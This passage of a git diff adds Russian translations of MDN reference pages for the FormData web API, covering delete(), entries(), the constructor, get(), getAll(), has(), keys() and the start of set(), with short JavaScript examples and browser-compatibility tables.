+<pre class="brush: js">formData.delete(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя ключа для удаления.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Нет.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p>
+
+<pre class="brush: js">var formData = new FormData(myForm);</pre>
+
+<p>Вы можете удалить пару "ключ"/"значение" используя <code>delete()</code>:</p>
+
+<pre class="brush: js">formData.delete('username');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/entries/index.html b/files/ru/web/api/formdata/entries/index.html
new file mode 100644
index 0000000000..04c79a6589
--- /dev/null
+++ b/files/ru/web/api/formdata/entries/index.html
@@ -0,0 +1,125 @@
+---
+title: FormData.entries()
+slug: Web/API/FormData/entries
+tags:
+  - API
+  - FormData
+  - Iterator
+  - Method
+  - Reference
+  - XMLHttpRequest API
+translation_of: Web/API/FormData/entries
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>FormData.entries()</strong></code> возвращает {{jsxref("Iteration_protocols",'iterator')}}, позволяя пройтись по всем ключам/значениям в этом объекте. Ключ каждой пары - это объект {{domxref("USVString")}}, значение - это {{domxref("USVString")}} или {{domxref("Blob")}}.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">formData.entries();</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7] notranslate">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>Резуьтат:</p>
+
+<pre class="notranslate">key1, value1
+key2, value2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное опеределение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html
new file mode 100644
index 0000000000..260388230f
--- /dev/null
+++ b/files/ru/web/api/formdata/formdata/index.html
@@ -0,0 +1,89 @@
+---
+title: FormData()
+slug: Web/API/FormData/FormData
+translation_of: Web/API/FormData/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Конструктор <code><strong>FormData()</strong></code> создает новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var formData = new FormData(</code><code>form</code><code>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>form </code>{{optional_inline}}</dt>
+ <dd>Существующая HTML-форма, на основе которой будет создана новая. Если ничего не указано, будет создана пустая форма.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;form name="test"&gt;
+  &lt;input type="text" name="code" value="12345"&gt;
+  &lt;input type="submit" value="Отправить"&gt;
+&lt;/form&gt;</pre>
+
+
+
+<pre class="brush: js">var
+    oldForm = document.forms.test,
+    formData = new FormData(oldForm)
+;
+
+console.log(
+    formData.get("code"),
+    formData === oldForm
+);
+
+</pre>
+
+<h3 id="Методы">Методы</h3>
+
+<div class="note">
+<p>Подробнее о каждом методе можно прочитать, выбрав его в колонке слева.</p>
+</div>
+
+<p>Добавление нового текстового поля в форму:</p>
+
+<pre class="brush: js">formData.append(name, value, filename);
+</pre>
+
+<p>Удаление элемента формы:</p>
+
+<pre class="brush: js  language-js"><code class="language-js">formData<span class="punctuation token">.</span><span class="keyword token">delete</span><span class="punctuation token">(</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Получение значения элемента формы:</p>
+
+<pre class="brush: js">formData.get(name);
+</pre>
+
+<p>Проверка на наличие определенного элемента формы:</p>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<p>Изменение существующего элемента:</p>
+
+<pre class="brush: js  language-js"><code class="language-js">formData<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>name<span class="punctuation token">,</span> value<span class="punctuation token">,</span> filename<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{Compat("api.FormData.FormData")}}</div>
diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..df52182d7b
--- /dev/null
+++ b/files/ru/web/api/formdata/get/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод get() из интерфейса {{domxref("FormData")}} возвращает первое значение, связанное с переданным ключом из объекта FormData. Если вы ожидаете множественные значения и хотите получить их все, используйте метод getAll().</p>
+
+<div class="note">
+<p>Примечание: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.get(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>{{domxref("USVString")}} строка, являющаяся именем ключа, значение которого вы хотите получить.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение из {{domxref("FormDataEntryValue")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает пустой объект <code>FormData</code>:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>Если мы добавим два значения  <code>username,</code> используя {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');</pre>
+
+<p>То метод <code>get()</code> вернёт только первое добавленное значение <code>username</code>:</p>
+
+<pre class="brush: js">formData.get('username'); // Вернёт "Борис"</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.FormData.get")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html
new file mode 100644
index 0000000000..24e12c408b
--- /dev/null
+++ b/files/ru/web/api/formdata/getall/index.html
@@ -0,0 +1,145 @@
+---
+title: FormData.getAll()
+slug: Web/API/FormData/getAll
+translation_of: Web/API/FormData/getAll
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>getAll()</strong></code> - метод объекта {{domxref("FormData")}}, который возвращает все значения, связанные с ключом в объекте FormData.</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>Заметка</strong></span>: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">formData.getAll(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Строка формата {{domxref("USVString")}}, задающая имя ключа.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Массив значений типа {{domxref("FormDataEntryValue")}}, привязанных к ключу, переданному в параметре <code>name</code>. Если переданный ключ не существует, метод вернёт пустой массив.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Эта строка создаст пустой объект FormData:</p>
+
+<pre class="brush: js notranslate">var formData = new FormData();</pre>
+
+<p>Можем добавить два <code>username</code> при помощи {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js notranslate">formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');</pre>
+
+<p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p>
+
+<pre class="brush: js notranslate">formData.getAll('username'); // Вернет ["Борис", "Кирилл"]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/has/index.html b/files/ru/web/api/formdata/has/index.html
new file mode 100644
index 0000000000..a682e158ba
--- /dev/null
+++ b/files/ru/web/api/formdata/has/index.html
@@ -0,0 +1,73 @@
+---
+title: FormData.has()
+slug: Web/API/FormData/has
+translation_of: Web/API/FormData/has
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>has()</strong></code> из интерфейса {{domxref("FormData")}} возвращает логическое значение, указывающее, содержит ли объект <code>FormData</code> указанный ключ.</p>
+
+<div class="note">
+<p>Примечание: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>{{domxref("USVString")}} представляет собой имя ключа, которое вы хотите проверить.</dd>
+</dl>
+
+<h3 class="highlight-spanned" id="Возвращаемое_значение"><span class="highlight-span">Возвращаемое значение</span></h3>
+
+<p>{{domxref("Boolean")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создаёт пустой объект <code>FormData</code>:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>В следующем коде показаны результаты проверки существования  <code>username</code> в объекте <code>FormData</code>, до и после добавления значения <code>username</code> в {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.has")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объекта FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html
new file mode 100644
index 0000000000..35ea12c24a
--- /dev/null
+++ b/files/ru/web/api/formdata/index.html
@@ -0,0 +1,80 @@
+---
+title: FormData
+slug: Web/API/FormData
+tags:
+  - API
+  - FormData
+  - Interface
+  - Reference
+  - XMLHttpRequest
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>XMLHttpRequest 2 добавляет поддержку для нового интерфейса FormData. Объекты FormData позволяют вам легко конструировать наборы пар ключ-значение, представляющие поля формы и их значения, которые в дальнейшем можно отправить с помощью метода <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>.</p>
+
+<p>FormData использует такой же формат на выходе, как если бы мы отправляли обыкновенную форму с encoding установленным в "multipart/form-data".</p>
+
+<div class="note">
+<p><strong>Важно</strong>: О деталях использования FormData можно прочитать в статье <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объекта FormData</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>Создаёт объект <code>FormData</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append")}}</dt>
+ <dd>Добавляет новое значение существующего поля объекта <code style="font-style: normal;">FormData</code>, либо создаёт его и присваивает значение.</dd>
+ <dt>{{domxref("FormData.delete")}}</dt>
+ <dd>Удаляет пару ключ-значение из объекта <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.get")}}</dt>
+ <dd>Возвращает первое значение ассоциированное с переданным ключом из объекта <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.getAll")}}</dt>
+ <dd>Возвращает массив всех значений ассоциированных с переданным ключом из объекта <code style="font-style: normal;">FormData</code>.</dd>
+ <dt>{{domxref("FormData.has")}}</dt>
+ <dd>Возвращает булево значение касательно наличия в объекте <span style="font-family: consolas,monaco,andale mono,monospace;">FormData</span>  конкретной пары ключ-значение.</dd>
+ <dt>{{domxref("FormData.set")}}</dt>
+ <dd>Устанавливает новое значение для существующего ключа объекта <span style="font-family: consolas,monaco,andale mono,monospace;">FormData</span>, или добавляет пару ключ-значение, если таковой не обнаружено в объекте.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Важно</strong>: Разница между {{domxref("FormData.set()")}} и {{domxref("FormData.append()")}} заключается в том, что если указанный ключ найден в объекте, {{domxref("FormData.set()")}} перезапишет его новым значением, тогда как {{domxref("FormData.append()")}} добавит новое значение в конец существующего. Смотрите дополнительные материалы с примерами. </p>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData определен в XHR spec</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div>
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объектов FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/keys/index.html b/files/ru/web/api/formdata/keys/index.html
new file mode 100644
index 0000000000..164b2b7a04
--- /dev/null
+++ b/files/ru/web/api/formdata/keys/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.keys()
+slug: Web/API/FormData/keys
+translation_of: Web/API/FormData/keys
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.keys()</strong></code> метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем ключам содержащимся в этом объекте. Ключи являются {{domxref("USVString")}} объектами.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.keys();</pre>
+
+<h3 class="highlight-spanned" id="Возвращаемые_значения"><span class="highlight-span">Возвращаемые значения</span></h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>Результат:</p>
+
+<pre>key1
+key2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.keys")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объектов FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html
new file mode 100644
index 0000000000..e07505b0f1
--- /dev/null
+++ b/files/ru/web/api/formdata/set/index.html
@@ -0,0 +1,77 @@
+---
+title: FormData.set()
+slug: Web/API/FormData/set
+translation_of: Web/API/FormData/set
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод set() из интерфейса {{domxref("FormData")}} присваивает новое значение существующему ключу внутри объекта <code>FormData </code>, или добавляет ключ/значение если до этого они не были установлены.</p>
+
+<p>Разница между <code>set()</code> и {{domxref("FormData.append")}} в том, что если заданный ключ уже существует, <code>set()</code> заменит данные в нем на новые, а {{domxref("FormData.append")}}  добавит новое значение к остальным в конец.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Данный метод также доступен в <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Существует две формы использования данной функции: с двумя и тремя параметрами:</p>
+
+<pre class="brush: js">formData.set(name, value);
+formData.set(name, value, filename);</pre>
+
+<h4 id="append_Parameters" name="append()_Parameters">Параметры</h4>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя поля, которому будет присвоен value.</dd>
+ <dt><code>value</code></dt>
